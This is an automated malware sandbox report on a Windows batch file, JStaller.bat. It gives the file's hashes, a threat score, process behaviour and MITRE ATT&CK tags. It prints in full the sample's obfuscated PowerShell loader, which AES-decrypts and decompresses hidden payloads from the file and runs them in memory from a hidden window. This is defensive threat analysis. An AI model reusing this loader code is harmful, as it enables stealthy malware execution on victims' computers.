953405057021d4ff8844aaa231590871e03cf136e50b2f5e758853ca76802481

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
02/03/2025, 03:40

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General

Target

JStaller.bat
Size

836KB
MD5

2686275418180ce5c188c5baf0427da9
SHA1

764d86b850f03bc2a4fa88eaa9e4434ebe39ff54
SHA256

953405057021d4ff8844aaa231590871e03cf136e50b2f5e758853ca76802481
SHA512

a048d3251e0af5f1acf39f855a2226b82ca956dc826c4730279408e6cbc38b83ff7bfac5527c429ca39bf98a4a2b4571c853e87bd3554dbaf8b9f926090d8bb4
SSDEEP

24576:0Fz47fYHX8qCwPSCuV4LTjgltYVk39I1V+JV4BmU:0GoCwrfjgLU+Jwp

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2648	2328	cmd.exe	31
PID 2328 wrote to memory of 2648	2328	cmd.exe	31
PID 2328 wrote to memory of 2648	2328	cmd.exe	31
PID 2328 wrote to memory of 2688	2328	cmd.exe	32
PID 2328 wrote to memory of 2688	2328	cmd.exe	32
PID 2328 wrote to memory of 2688	2328	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\JStaller.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vOcu+PPw1ezKfKMmDbKrjXMXfbfGAsmHoPCf3KMx2t4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpBIhqEx6U+QivN3l3d4ag=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IDQxi=New-Object System.IO.MemoryStream(,$param_var); $bhHOm=New-Object System.IO.MemoryStream; $GZCrW=New-Object System.IO.Compression.GZipStream($IDQxi, [IO.Compression.CompressionMode]::Decompress); $GZCrW.CopyTo($bhHOm); $GZCrW.Dispose(); $IDQxi.Dispose(); $bhHOm.Dispose(); $bhHOm.ToArray();}function execute_function($param_var,$param2_var){ $OoVOu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DXpNS=$OoVOu.EntryPoint; $DXpNS.Invoke($null, $param2_var);}$nVBsr = 'C:\Users\Admin\AppData\Local\Temp\JStaller.bat';$host.UI.RawUI.WindowTitle = $nVBsr;$iisly=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nVBsr).Split([Environment]::NewLine);foreach ($BtcCw in $iisly) { if ($BtcCw.StartsWith('coKHtsmTeuelHQULHXBz')) { $fZysd=$BtcCw.Substring(20); break; }}$payloads_var=[string[]]$fZysd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2688-4-0x000007FEF51EE000-0x000007FEF51EF000-memory.dmp

Filesize
4KB

Download
memory/2688-8-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-7-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-6-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/2688-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2688-9-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-10-0x000007FEF51EE000-0x000007FEF51EF000-memory.dmp

Filesize
4KB

Download
memory/2688-11-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download